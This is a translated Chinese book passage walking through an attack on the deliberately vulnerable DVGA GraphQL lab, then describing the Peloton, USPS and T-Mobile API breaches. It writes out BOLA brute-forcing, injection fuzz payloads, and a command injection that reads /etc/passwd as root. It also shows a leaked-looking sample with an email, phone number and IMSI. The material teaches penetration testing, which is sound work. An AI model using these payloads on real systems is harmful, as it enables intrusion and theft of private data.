REST 和 GraphQL 之间的另一个主要区别是,GraphQL 提供商通常会在其 Web 应用程序中提供集成开发环境(IDE)。GraphQL IDE 是一个图形界面,可用于与 API 进行交互。一些最常见的 GraphQL IDE 包括 GraphiQL、GraphQL Playground 和 Altair Client。这些 GraphQL IDE 包含用于编写查询的窗口、提交请求的窗口、响应窗口以及用于引用 GraphQL 文档的方式。
在本章的后面,我们将讨论如何通过查询和变更操作枚举 GraphQL。有关 GraphQL 的更多信息,请查看graphql.org/learn的 GraphQL 指南以及 Dolev Farhi 在 DVGA GitHub Repo 中提供的额外资源。
主动侦察
让我们首先主动扫描 DVGA,收集我们能找到的任何信息。如果你是想揭示某个组织的攻击面而不是攻击一个故意存在漏洞的应用程序,你可以先从被动侦察开始。
扫描
使用 Nmap 扫描了解目标主机。从以下扫描结果可以看到,5000 端口是开放的,并且在该端口上运行 HTTP,使用的是版本为 1.0.1 的 Werkzeug Web 应用程序库:
$ **nmap -sC -sV 192.168.195.132**
Starting Nmap 7.91 ( https://nmap.org ) at 10-04 08:13 PDT
Nmap scan report for 192.168.195.132
Host is up (0.00046s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
**5000/tcp open ** **http ** **Werkzeug httpd 1.0.1 (Python 3.7.12)**
**|_http-server-header: Werkzeug/1.0.1 Python/3.7.12**
**|_http-title: Damn Vulnerable GraphQL Application**
这里最重要的信息出现在http-title中,它给我们一个提示,表明我们正在处理一个 GraphQL 应用程序。在实际环境中你通常找不到这样的提示,所以我们暂时忽略它。你可以在之后进行一次全端口扫描,以便寻找更多的信息。
现在是进行更有针对性的扫描的时候了。让我们使用 Nikto 进行快速的 Web 应用程序漏洞扫描,确保指定 Web 应用程序在 5000 端口上运行:
$ **nikto -h 192.168.195.132:5000**
---------------------------------------------------------------------------
+ Target IP: 192.168.195.132
+ Target Hostname: 192.168.195.132
+ Target Port: 5000
---------------------------------------------------------------------------
+ Server: Werkzeug/1.0.1 Python/3.7.12
+ Cookie env created without the httponly flag
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /static/favicon.ico, inode: 1633359027.0, size: 15406, mtime: 2525694601
+ Allowed HTTP Methods: OPTIONS, HEAD, GET
+ 7918 requests: 0 error(s) and 6 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested
Nikto 告诉我们,应用程序可能存在一些安全配置错误,例如缺少X-Frame-Options和未定义的X-XSS-Protection头。此外,我们发现允许使用 OPTIONS、HEAD 和 GET 方法。由于 Nikto 没有发现任何有趣的目录,我们应该在浏览器中查看该 Web 应用程序,看看作为终端用户能发现什么。一旦我们彻底浏览了 Web 应用程序,就可以执行目录暴力攻击,看看是否能找到其他目录。
在浏览器中查看 DVGA
正如你在图 14-1 中看到的,DVGA 网页描述了一个故意存在漏洞的 GraphQL 应用程序。
确保像其他用户一样使用该站点,点击网页上的链接。探索“私人粘贴”、“公开粘贴”、“创建粘贴”、“导入粘贴”和“上传粘贴”链接。在这个过程中,你应该开始看到一些有趣的信息,如用户名、包含 IP 地址和user-agent信息的论坛帖子、上传文件的链接,以及创建论坛帖子的链接。我们已经收集了一些可能在接下来的攻击中非常有用的信息。

图 14-1:DVGA 登录页面
使用开发者工具
现在我们已经作为普通用户浏览了这个网站,让我们通过开发者工具(DevTools)来窥探一下这个 Web 应用程序的内部。要查看此 Web 应用程序涉及的不同资源,请导航到 DVGA 主页,并打开 DevTools 中的网络模块。通过按 ctrl-R 刷新网络模块。你应该会看到类似图 14-2 的界面。

图 14-2:DVGA 主页的网络源文件
查看主资源的响应头。你应该能看到Set-Cookie: env=graphiql:disable,这是另一个迹象,表明我们正在与一个使用 GraphQL 的目标进行交互。稍后,我们可能能够操控像这样的 cookie,以启用一个名为 GraphiQL 的 GraphQL 集成开发环境。
回到浏览器中,导航到公共粘贴页面,打开 DevTools 网络模块,并再次刷新(见图 14-3)。

图 14-3:DVGA public_pastes源
有一个新的源文件叫做graphql。选择这个源并点击预览标签。现在你将看到这个资源响应的预览。GraphQL 和 REST 一样,使用 JSON 作为数据传输的语法。这时,你可能已经猜到这是一个使用 GraphQL 生成的响应。
逆向工程 GraphQL API
现在我们知道目标应用程序使用 GraphQL,接下来让我们尝试确定 API 的端点和请求。与 REST API 不同,REST API 的资源可以通过不同的端点访问,而使用 GraphQL 的主机仅依赖单一端点来提供其 API。为了与 GraphQL API 交互,我们必须首先找到这个端点,然后弄清楚我们可以查询哪些内容。
针对 GraphQL 端点的目录暴力破解
使用 Gobuster 或 Kiterunner 进行目录暴力破解扫描,可以帮助我们找出是否存在与 GraphQL 相关的目录。让我们使用 Kiterunner 来查找这些目录。如果你手动搜索 GraphQL 目录,可以在请求路径中加入以下关键字:
-
/graphql
-
/v1/graphql
-
/api/graphql
-
/v1/api/graphql
-
/graph
-
/v1/graph
-
/graphiql
-
/v1/graphiql
-
/console
-
/query
-
/graphql/console
-
/altair
-
/playground
当然,你也应该尝试将这些路径中的版本号替换为 /v2、/v3、/test、/internal、/mobile、/legacy,或者这些路径的任何变体。例如,Altair 和 Playground 都是 GraphiQL 的替代 IDE,你可以通过路径中的不同版本来搜索它们。
SecLists 还可以帮助我们自动化这个目录搜索:
$ **kr brute http://192.168.195.132:5000 -w /usr/share/seclists/Discovery/Web-Content/graphql.txt**
GET 400 [ 53, 4, 1] http://192.168.195.132:5000/graphiql
GET 400 [ 53, 4, 1] http://192.168.195.132:5000/graphql
5:50PM INF scan complete duration=716.265267 results=2
我们从这次扫描中得到两个相关的结果;不过,目前它们都回应了一个 HTTP 400 错误请求状态码。让我们在 Web 浏览器中查看它们。/graphql 路径解析为一个 JSON 响应页面,页面中显示 "Must provide query string." 消息(见 图 14-4)。

图 14-4:DVGA /graphql 路径
这并没有给我们提供太多信息,所以让我们检查一下 /graphiql 端点。正如你在 图 14-5 中看到的,/graphiql 路径将我们引导到一个常用于 GraphQL 的 Web IDE,GraphiQL。

图 14-5:DVGA GraphiQL Web IDE
然而,我们遇到了 "400 Bad Request: GraphiQL Access Rejected" 的消息。
在 GraphiQL Web IDE 中,API 文档通常位于页面右上方,按钮名为 Docs。如果你点击 Docs 按钮,你应该会看到右侧的文档资源管理器窗口,如 图 14-5 所示。这些信息可能有助于构建请求。不幸的是,由于我们的请求错误,我们看不到任何文档。
我们有可能因为请求中的 cookies 而没有授权访问文档。让我们看看是否可以更改我们在 图 14-2 底部看到的 env=graphiql:disable cookie。
利用 Cookie 篡改来启用 GraphiQL IDE
让我们使用 Burp Suite Proxy 捕获一个请求到 /graphiql,看看我们在处理什么内容。像往常一样,你可以通过 Burp Suite 将请求代理进行拦截。确保 Foxy Proxy 已开启,然后刷新浏览器中的 /graphiql 页面。以下是你应该拦截的请求:
GET /graphiql HTTP/1.1
Host: 192.168.195.132:5000
*--snip--*
Cookie: language=en; welcomebanner_status=dismiss; continueCode=KQabVVENkBvjq9O2xgyoWrXb45wGnmTxdaL8m1pzYlPQKJMZ6D37neRqyn3x; cookieconsent_status=dismiss; session=eyJkaWZmaWN1bHR5IjoiZWFzeSJ9.YWOfOA.NYaXtJpmkjyt-RazPrLj5GKg-Os; **env=Z3JhcGhpcWw6ZGlzYWJsZQ==**
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0.
在检查请求时,你应该注意到 env 变量是 base64 编码的。将该值粘贴到 Burp Suite 的解码器中,然后将其解码为 base64。你应该会看到解码后的值为 graphiql:disable。这与我们在 DevTools 查看 DVGA 时注意到的值相同。
让我们拿这个值并尝试将其改为graphiql:enable。由于原始值是 base64 编码的,让我们将新的值重新编码为 base64(见图 14-6)。

图 14-6:Burp Suite 的解码器
你可以在 Repeater 中测试更新后的 cookie,看看你会收到什么响应。为了在浏览器中使用 GraphiQL,你需要更新浏览器中保存的 cookie。打开开发者工具存储面板以编辑 cookie(见图 14-7)。

图 14-7:开发者工具中的 Cookies
一旦你找到了env cookie,双击其值并用新的值替换它。现在返回到 GraphiQL IDE 并刷新页面。你应该能够使用 GraphiQL 界面和文档浏览器。
反向工程 GraphQL 请求
虽然我们知道我们想要访问的端点,但我们仍然不知道 API 请求的结构。REST 和 GraphQL API 之间的一个主要区别是,GraphQL 仅使用 POST 请求。
让我们在 Postman 中拦截这些请求,以便更好地操作它们。首先,将浏览器的代理设置为转发流量到 Postman。如果你按照第四章中的设置说明操作,你应该能够将 FoxyProxy 设置为“Postman”。图 14-8 展示了 Postman 的捕获请求和 cookie 页面。

图 14-8:Postman 的捕获请求和 cookie 页面
现在让我们通过手动访问每个链接并使用我们已发现的每个功能来反向工程这个 Web 应用。点击四周并提交一些数据。使用完这个 Web 应用后,打开 Postman 查看你的集合是什么样子的。你可能已经收集了一些不与目标 API 交互的请求。确保删除所有不包含/graphiql或/graphql的请求。
然而,正如你在图 14-9 中看到的,即使你删除了所有不涉及/graphql的请求,它们的目的仍然不太清晰。事实上,许多请求看起来一模一样。因为 GraphQL 请求完全通过 POST 请求的主体数据来操作,而不是通过请求的端点,因此我们必须检查请求的主体内容,才能了解这些请求的作用。

图 14-9:不明确的 GraphQL Postman 集合
花些时间仔细查看每个请求的主体,然后重新命名每个请求,以便你能理解它的作用。某些请求体可能看起来很复杂;如果是这样,从中提取一些关键信息并给它们一个临时名称,直到你更好地理解它们。例如,考虑以下请求:
POST http://192.168.195.132:5000/graphiql?
{"query":"\n query IntrospectionQuery {\n __schema {\n queryType{ name }\n mutationType { name }\n subscriptionType { name }\n
**-**-snip--**
这里有很多信息,但我们可以从请求体的开头提取一些细节,并给它命名(例如,Graphiql 查询反射类型)。下一个请求看起来非常相似,但它包含的不是subscriptionType,而是只有types,因此我们可以根据这个差异给它命名,如图 14-10 所示。

图 14-10:已清理的 DVGA 集合
现在,你已经有了一个基本的集合可以进行测试。随着你对 API 了解得更多,你将进一步构建你的集合。
在继续之前,我们将介绍另一种逆向工程 GraphQL 请求的方法:通过反射获取模式。
使用反射进行 GraphQL 集合的逆向工程
反射是 GraphQL 的一个特性,它向消费者揭示了整个 API 的模式,使其在信息泄露方面成为一座宝矿。因此,你常常会发现反射被禁用,这意味着你需要付出更多的努力来攻击 API。不过,如果你可以查询到模式,就能像找到了 REST API 的集合或规范文件一样操作。
测试反射是否可用非常简单,只需发送一个反射查询。如果你有权限使用 DVGA GraphiQL 界面,可以通过拦截加载/graphiql时发出的请求来捕获反射查询,因为 GraphiQL 界面在填充文档浏览器时会发送反射查询。
完整的反射查询相当大,因此我这里只包含了一部分;不过,你可以通过自己拦截请求或在 Hacking APIs GitHub 仓库中查看完整查询,网址为github.com/hAPI-hacker/Hacking-APIs。
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
成功的 GraphQL 反射查询会向你提供模式中包含的所有类型和字段。你可以使用该模式来构建 Postman 集合。如果你使用的是 GraphiQL,查询将填充 GraphiQL 文档浏览器。正如你在接下来的章节中会看到的,GraphiQL 文档浏览器是一个用于查看 GraphQL 文档中可用的类型、字段和参数的工具。
GraphQL API 分析
到目前为止,我们知道可以向 GraphQL 端点和 GraphiQL 界面发送请求。我们还反向工程了几个 GraphQL 请求,并通过成功的自省查询获得了 GraphQL 架构的访问权限。让我们使用文档浏览器查看是否有任何我们可以利用的资料进行利用。
使用 GraphiQL 文档浏览器构建请求
拿出我们从 Postman 反向工程的请求之一,例如用于生成 public_pastes 网页的公共粘贴请求,并使用 GraphiQL IDE 进行测试。使用文档浏览器帮助您构建查询。在 Root Types 下选择 Query。您应该看到与 图 14-11 中显示的选项相同。

图 14-11:GraphiQL 文档浏览器
使用 GraphiQL 查询面板,输入 query 后跟花括号以启动 GraphQL 请求。现在通过在 query 下添加 pastes 并使用括号作为参数 public: true 来查询公共粘贴字段。由于我们想了解更多关于公共粘贴对象的信息,我们需要在查询中添加字段。我们向请求中添加的每个字段都会告诉我们更多关于该对象的信息。为此,在文档浏览器中选择 PasteObject 查看这些字段。最后,添加您希望包含在请求正文中的字段,并以新行分隔。您包含的字段代表您应该从提供者那里接收到的不同数据对象。在我的请求中,我将添加 title、content、public、ipAddr 和 pId,但也可以尝试添加您自己的字段。完成的请求正文应该如下所示:
query {
pastes (public: true) {
title
content
public
ipAddr
pId
}
}
使用 Execute Query 按钮或快捷键 ctrl-enter 发送请求。如果您跟随操作,应该会收到如下响应:
{
"data": {
"pastes":
{
"id": "UGFzdGVPYmplY3Q6MTY4",
"content": "testy",
"ipAddr": "192.168.195.133",
"pId": "166"
},
{
"id": "UGFzdGVPYmplY3Q6MTY3",
"content": "McTester",
"ipAddr": "192.168.195.133",
"pId": "165"
}
}
}
现在您已经了解了如何使用 GraphQL 请求数据,让我们转到 Burp Suite,并使用一个很棒的扩展来帮助我们完善在 DVGA 中可以做的事情。
使用 InQL Burp 扩展
有时,您可能找不到适用于目标的 GraphiQL IDE。幸运的是,有一个很棒的 Burp Suite 扩展可以帮助我们。InQL 作为 Burp Suite 中的 GraphQL 接口。要安装它,像在上一章中为 IP Rotate 扩展所做的那样,您需要在 Extender 选项中选择 Jython。有关 Jython 安装步骤,请参见第十三章。
安装 InQL 后,选择 InQL 扫描器并添加您要针对的 GraphQL API 的 URL(参见 [图 14-12)。
扫描器将自动查找各种查询和变更并将它们保存到文件结构中。然后,您可以选择这些保存的请求并将它们发送到 Repeater 进行进一步测试。

图 14-12:Burp Suite 中的 InQL 扫描模块
让我们练习测试不同的请求。paste.query 是一个查询,用于根据粘贴 ID(pID)代码查找粘贴。如果你在 Web 应用程序中发布了任何公共粘贴,你可以看到你的 pID 值。如果我们通过请求本应私密的 pID 字段进行授权攻击,会发生什么呢?这将构成 BOLA 攻击。由于这些粘贴 ID 似乎是连续的,我们需要测试是否存在任何授权限制,防止我们访问其他用户的私密粘贴。
右键点击 paste.query 并将其发送到 Repeater。通过将 code* 值替换为应有效的 pID 来编辑它。我将使用之前收到的 pID 166。使用 Repeater 发送请求。你应该会收到如下响应:
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 319
Vary: Cookie
Server: Werkzeug/1.0.1 Python/3.7.10
{
"data": {
"paste": {
"owner": {
"id": "T3duZXJPYmplY3Q6MQ=="
},
"burn": false,
"Owner": {
"id": "T3duZXJPYmplY3Q6MQ=="
},
"userAgent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Firefox/78.0",
"pId": "166",
"title": "test3",
"ownerId": 1,
"content": "testy",
"ipAddr": "192.168.195.133",
"public": true,
"id": "UGFzdGVPYmplY3Q6MTY2"
}
}
}
果然,应用程序回应了我之前提交的公共粘贴。
如果我们能够通过 pID 请求粘贴,也许我们可以暴力破解其他 pID 来看看是否有授权要求,阻止我们请求私密粘贴。将图 14-12 中的粘贴请求发送到 Intruder,然后将 pID 值设置为有效负载位置。将有效负载更改为从 0 开始到 166 的数字值,然后启动攻击。
审查结果显示我们已经发现了 BOLA 漏洞。我们可以看到我们已收到私密数据,如 "public": false 字段所示:
{
"data": {
"paste": {
"owner": {
"id": "T3duZXJPYmplY3Q6MQ=="
},
"burn": false,
"Owner": {
"id": "T3duZXJPYmplY3Q6MQ=="
},
"userAgent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Firefox/78.0",
"pId": "63",
"title": "Imported Paste from URL - b9ae5f",
"ownerId": 1,
"content": "<!DOCTYPE html>\n<html lang=en> ",
"ipAddr": "192.168.195.133",
**"public": false,**
"id": "UGFzdGVPYmplY3Q6NjM="
}
}
}
我们能够通过请求不同的 pID 来检索每一个私密粘贴。恭喜,这是一个很棒的发现!让我们看看还能发现些什么。
命令注入的模糊测试
现在我们已经分析了 API,接下来让我们进行模糊测试,看看是否能发现漏洞进行攻击。模糊测试 GraphQL 可能会增加额外的挑战,因为大多数请求即使格式不正确,也会返回 200 状态码。因此,我们需要寻找其他成功的指示符。
你会在响应体中发现任何错误,需要通过查看响应来构建这些错误的基准。检查错误是否都生成相同的响应长度,例如,或者是否在成功响应和失败响应之间有其他显著差异。当然,你还应该查看错误响应,查找可能有助于攻击的信息泄露。
由于查询类型本质上是只读的,我们将攻击变更请求类型。首先,让我们拿一个变更请求,比如我们 DVGA 集合中的 Mutation ImportPaste 请求,并使用 Burp Suite 对其进行拦截。你应该看到一个类似于图 14-13 的界面。

图 14-13:一个拦截的 GraphQL 变更请求
将此请求发送到 Repeater,以查看我们应该期望看到的响应类型。你应该会收到如下所示的响应:
HTTP/1.0 200 OK
Content-Type: application/json
*--snip--*
{"data":{"importPaste":{
"result":"<HTML><HEAD><meta http-equiv=\"content-type\"content=\"text/html;charset=utf-8\">\n<TITLE>301 Moved</TITLE></HEAD><BODY>\n<H1>301 Moved</H1>\nThe document has moved\n<AHREF=\"**http://www.google.com**/\">here</A>.\n</BODY></HTML>\n"}}}
我恰好使用 www.google.com/ 作为我导入粘贴内容的 URL 来测试请求;你可能在请求中使用了不同的 URL。
现在我们大致了解了 GraphQL 的响应方式,让我们将此请求转发给 Intruder。仔细查看请求的主体:
{"query":"mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n
result\n }\n }","variables":{"host":"google.com","port":80,"path":"/","scheme":"http"}}
请注意,此请求包含变量,每个变量前面都有 $,后面跟着 !。相应的键和值位于请求的底部,跟随 "variables"。我们将在这里放置有效载荷位置,因为这些值包含可能传递给后台进程的用户输入,使它们成为模糊测试的理想目标。如果这些变量缺乏良好的输入验证控制,我们就能检测到漏洞并可能利用这个弱点。我们将在这些变量部分放置我们的有效载荷位置:
"variables":{**"****host****":"****google.com§test§§test2§****"**,"port":80,"path":"/","scheme":"http"}}
接下来,配置你的两组有效载荷。对于第一组有效载荷,我们从第十二章中取一个元字符示例:
|
||
&
&&
'
"
;
'"
对于第二组有效载荷,我们使用来自第十二章的潜在注入有效载荷示例:
whoami
{"$where": "sleep(1000) "}
;%00
-- -
最后,确保禁用有效载荷编码。
现在让我们对主机变量进行攻击。如你在图 14-14 中看到的,结果是一致的,没有出现异常。所有的状态代码和响应长度都相同。
你可以查看响应以了解它们的内容,但从这次初步扫描来看,似乎没有什么有趣的东西。
现在让我们瞄准 "path" 变量:
"variables":{"host":"google.com","port":80,**"****path****":"/****§test§§test2§****"**,"scheme":"http"}}

图 14-14:对主机变量攻击的入侵者结果
我们将使用与第一次攻击相同的有效载荷。正如你在图 14-15 中看到的,我们不仅收到了各种响应代码和长度,还收到了成功执行代码的指示。

图 14-15:对 "path" 变量攻击的入侵者结果
通过查看响应,你可以发现其中有几个响应容易受到 whoami 命令的影响。这表明 "path" 变量容易受到操作系统注入的攻击。此外,命令返回的用户是特权用户 root,这表明该应用程序正在运行在 Linux 主机上。你可以更新你的第二组有效载荷,包含 Linux 命令 uname -a 和 ver 来查看你正在与哪个操作系统进行交互。
一旦你发现了操作系统,你就可以进行更有针对性的攻击,以获取系统中的敏感信息。例如,在列表 14-3 中显示的请求中,我将"path"变量替换为/; cat /etc/passwd,这将尝试让操作系统返回包含主机系统账户列表的/etc/passwd文件,如列表 14-4 所示。
POST /graphql HTTP/1.1
Host: 192.168.195.132:5000
Accept: application/json
Content-Type: application/json
`--snip--`
{"variables": {"scheme": "http",
"path": "/ **;** **cat /etc/passwd",**
"port": 80, "host": "test.com"},
"query": "mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n result\n }\n }"}
列表 14-3:请求
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 1516
`--snip--`
{"data":{"importPaste":{"result":"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>301 Moved Permanently</title>\n</head><body>\n
<h1>Moved Permanently</h1>\n<p>The document has moved <a href=\"https://test.com/\">here</a>.</p>\n</body></html>\**n**
**root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nutmp:x:100:406:utmp:/home/utmp:/bin/false**\n"}}}
列表 14-4:响应
你现在已经能够在 Linux 操作系统中以 root 用户身份执行所有命令。就这样,我们能够通过 GraphQL API 注入系统命令。从这里开始,我们可以继续利用这个命令注入漏洞枚举信息,或者使用命令获取系统的 shell。无论哪种方式,这都是一个非常重要的发现。干得好,成功利用了 GraphQL API!
总结
在这一章中,我们通过一些本书中讲解的技术,演示了如何攻击一个 GraphQL API。GraphQL 的工作方式与我们之前接触过的 REST API 不同。然而,一旦我们对 GraphQL 做了一些调整,我们就能够应用许多相同的技术,进行一些非常酷的攻击。不要被你可能遇到的新 API 类型吓倒;相反,拥抱这项技术,了解它的运作方式,然后尝试你已经学到的 API 攻击。
DVGA 还有几个漏洞我们在这一章没有覆盖。我建议你返回实验室,利用这些漏洞。在最后一章,我将展示一些涉及 API 的真实世界泄露和赏金案例。
第十六章:数据泄露和漏洞赏金

本章讨论的真实世界 API 泄露和漏洞赏金应该能展示实际黑客如何利用 API 漏洞,漏洞是如何组合的,以及你可能发现的弱点的重要性。
记住,一个应用的安全性只有在最薄弱环节的保护下才算强大。如果你面对的是防火墙最强、基于多因素认证的零信任应用,但蓝队并没有投入资源保护他们的 API,那么就会有一个类似死星热排气口的安全漏洞。此外,这些不安全的 API 和排气口往往故意暴露给外界宇宙,为破坏和摧毁提供了明显的路径。在黑客攻击时,可以利用以下常见的 API 漏洞来获取优势。
泄露事件
在数据泄露、泄漏或曝光之后,人们经常相互指责并甩锅。我更喜欢将这些视为昂贵的学习机会。需要明确的是,数据泄露指的是犯罪分子利用系统漏洞来危害企业或窃取数据的已确认事件。泄漏或曝光则指的是发现了可能导致敏感信息泄露的漏洞,但尚不清楚是否真的有攻击者成功泄露了数据。
当数据泄露发生时,攻击者通常不会披露他们的发现,因为那些在网上炫耀他们战利品细节的人通常会最终被逮捕。遭到攻击的组织也很少披露发生了什么,可能是因为他们太尴尬了,或者是为了保护自己免受额外的法律追诉,或者(在最糟糕的情况下)他们根本不知道发生了什么。因此,我将提供我自己对于这些数据泄露是如何发生的猜测。
Peloton
-
数据量: 超过三百万个 Peloton 订阅用户
-
数据类型: 用户 ID、位置、年龄、性别、体重和锻炼信息
2021 年初,安全研究员 Jan Masters 披露了未经认证的 API 用户可以查询 API 并获取所有其他用户的信息。这一数据曝光特别有趣,因为美国总统乔·拜登在披露时正是 Peloton 设备的拥有者。
由于 API 数据泄露,攻击者可以使用三种不同的方法获取敏感用户数据:向/stats/workouts/details端点发送请求、向/api/user/search功能发送请求,以及进行未经认证的 GraphQL 请求。
/stats/workouts/details 端点
这个端点旨在根据用户的 ID 提供他们的锻炼详细信息。如果用户希望他们的数据是私密的,他们可以选择一个应该隐藏数据的选项。然而,隐私功能并未正常运作,端点返回了数据给任何消费者,而不管是否授权。
通过在 POST 请求体中指定用户 ID,攻击者将收到包含用户年龄、性别、用户名、锻炼 ID 和 Peloton ID 的响应,并且还会显示一个值,指示其个人资料是否为私密:
POST /stats/workouts/details HTTP/1.1
Host: api.onepeloton.co.uk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
`--snip--`
{"ids":["10001","10002","10003","10004","10005","10006",]}
攻击中使用的 ID 可以通过暴力破解获得,或者更好的是,可以通过使用 web 应用程序收集,这样应用程序会自动填充用户 ID。
用户搜索
用户搜索功能容易受到业务逻辑漏洞的影响。向 /api/user/search/:
GraphQL
几个 GraphQL 端点允许攻击者发送未经身份验证的请求。像以下这样的请求将提供用户的 ID、用户名和位置:
POST /graphql HTTP/1.1
Host: gql-graphql-gateway.prod.k8s.onepeloton.com
`--snip--`
{"query":
"query SharedTags($currentUserID: ID!) (\n User: user(id: "currentUserID") (\r\n__typename\n id\r\n location\r\n )\r\n)". "variables": ( "currentUserID": "**REDACTED**")}
通过将 REDACTED 用户 ID 作为有效载荷位置,未经身份验证的攻击者可以暴力破解用户 ID,以获取私密用户数据。
Peloton 数据泄露展示了使用 API 时抱有敌意心态可能导致的重大发现。它也表明,如果一个组织没有保护其某个 API,你应该将此视为一个号召,去测试其其他 API 是否存在漏洞。
USPS Informed Visibility API
-
数据量:大约 6000 万暴露的 USPS 用户
-
数据类型:电子邮件、用户名、实时包裹更新、邮寄地址、电话号码
2018 年 11 月,KrebsOnSecurity 揭露了美国邮政服务(USPS)网站泄露了 6000 万用户的数据。USPS 的一个名为 Informed Visibility 的程序向经过身份验证的用户提供了一个 API,使消费者能够获取所有邮件的近实时数据。唯一的问题是,任何拥有 API 访问权限的 USPS 身份验证用户都可以查询任意 USPS 账户的详细信息。更糟糕的是,API 允许通配符查询。这意味着攻击者可以轻松地通过以下查询请求例如所有 Gmail 用户的数据:/api/v1/find?email=@gmail.com*。
除了明显的安全配置错误和业务逻辑漏洞外,USPS API 还存在过度数据暴露的问题。当请求一个地址的相关数据时,API 会返回与该地址相关的所有记录。黑客可以通过搜索各种物理地址并留意结果来发现这一漏洞。例如,以下请求可能会显示该地址的所有当前和过去居住者的记录:
POST /api/v1/container/status
Token: UserA
`--snip--`
{
"street": "475 L' Enfant Plaza SW",
"city": Washington DC"
}
具有这种过度数据暴露的 API 可能会返回类似如下的内容:
{
"street":"475 L' Enfant Plaza SW",
"City":"Washington DC",
"customer": [
{
"name":"Rufus Shinra",
"username":"novp4me",
"email":"rufus@shinra.com",
"phone":"123-456-7890",
},
{
"name":"Professor Hojo",
"username":"sep-father",
"email":"prof@hojo.com",
"phone":"102-202-3034",
}
]
}
USPS 数据泄露是一个很好的例子,说明为什么更多的组织需要进行以 API 为中心的安全测试,无论是通过漏洞奖励计划还是渗透测试。事实上,信息可见性项目的监察长办公室在《KrebsOnSecurity》文章发布前一个月进行了漏洞评估。评估人员未提及任何关于 API 的内容,而在监察长办公室的“信息可见性漏洞评估”报告中,测试人员判断“整体上,IV 网页应用程序的加密和身份验证是安全的”(www.uspsoig.gov/sites/default/files/document-library-files/2018/IT-AR-19-001.pdf)。该公开报告还包括了描述所使用的漏洞扫描工具,这些工具用来测试网页应用程序,但却给 USPS 的测试人员带来了假阴性结果。这意味着,他们的工具向他们保证没有问题,实际上却存在严重的问题。
如果有任何安全测试专注于 API,测试人员将会发现明显的业务逻辑漏洞和身份验证弱点。USPS 数据泄露展示了 API 作为一种攻击向量如何被忽视,以及它们多么急需用正确的工具和技术进行测试。
T-Mobile API 数据泄露
-
数据量: 超过 200 万 T-Mobile 客户
-
数据类型: 姓名、电话号码、电子邮件、出生日期、账户号码、账单邮政编码
2018 年 8 月,T-Mobile 在其官网发布了一则公告,称其网络安全团队“发现并关闭了对某些信息的未授权访问。”T-Mobile 还通过短信通知了 230 万用户他们的数据遭到暴露。通过攻击 T-Mobile 的一个 API,攻击者得以获取客户的姓名、电话号码、电子邮件、出生日期、账户号码和账单邮政编码。
正如常见的情况一样,T-Mobile 没有公开泄露的具体细节,但我们可以大胆猜测。一年前,一名 YouTube 用户发现并公开了一个可能与被利用的漏洞相似的 API 漏洞。在一段名为“针对 T-Mobile 信息泄露漏洞利用”的视频中,用户“moim”演示了如何利用 T-Mobile Web 服务网关 API。这个早期的漏洞允许消费者通过使用单一授权令牌,并在 URL 中添加任意用户的电话号码来访问数据。以下是请求返回的数据示例:
implicitPermissions:
0:
user:
IAMEmail:
"rafae1530116@yahoo.com"
userid:
"U-eb71e893-9cf5-40db-a638-8d7f5a5d20f0"
lines:
0:
accountStatus: "A"
ban:
"958100286"
customerType: "GMP_NM_P"
givenName: "Rafael"
insi:
"310260755959157"
isLineGrantable: "true"
msison:
"19152538993"
permissionType: "inherited"
1:
accountStatus: "A"
ban:
"958100286"
customerType: "GMP_NM_P"
givenName: "Rafael"
imsi:
"310260755959157"
isLineGrantable: "false"
msisdn:
"19152538993"
permissionType: "linked"
